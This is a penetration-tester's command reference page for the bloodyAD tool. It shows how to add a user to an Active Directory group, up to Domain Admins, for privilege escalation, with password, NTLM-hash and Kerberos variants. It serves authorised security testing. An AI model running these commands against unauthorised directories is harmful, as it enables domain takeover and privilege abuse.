Command Manager

BloodyAD Add User to Group

Add user to group using BloodyAD

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated

Tool
bloodyAD
Category
Privilege Escalation / ACL / DACL Abuse
Platform
linux
Requires
password
Protocols
LDAP

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

bloodyAD --host <ip> -d '<domain>' -u '<user>' -p '<password>' add groupMember '<target_group>' '<target_user>'

Credential variants

The same attack using a different authentication material.

NTLM Hash requires NTLM hash

bloodyAD --host <ip> -d '<domain>' -u '<user>' --hashes ':<hash>' add groupMember '<target_group>' '<target_user>'

Kerberos Ticket requires Kerberos ticket

bloodyAD --host <ip> -d '<domain>' -k add groupMember '<target_group>' '<target_user>'

Examples

bloodyAD --host 192.168.1.100 -d 'CORP.LOCAL' -u 'user' -p 'password' add groupMember 'Domain Admins' 'targetuser'

Tags

bloodyad acl group privilege-escalation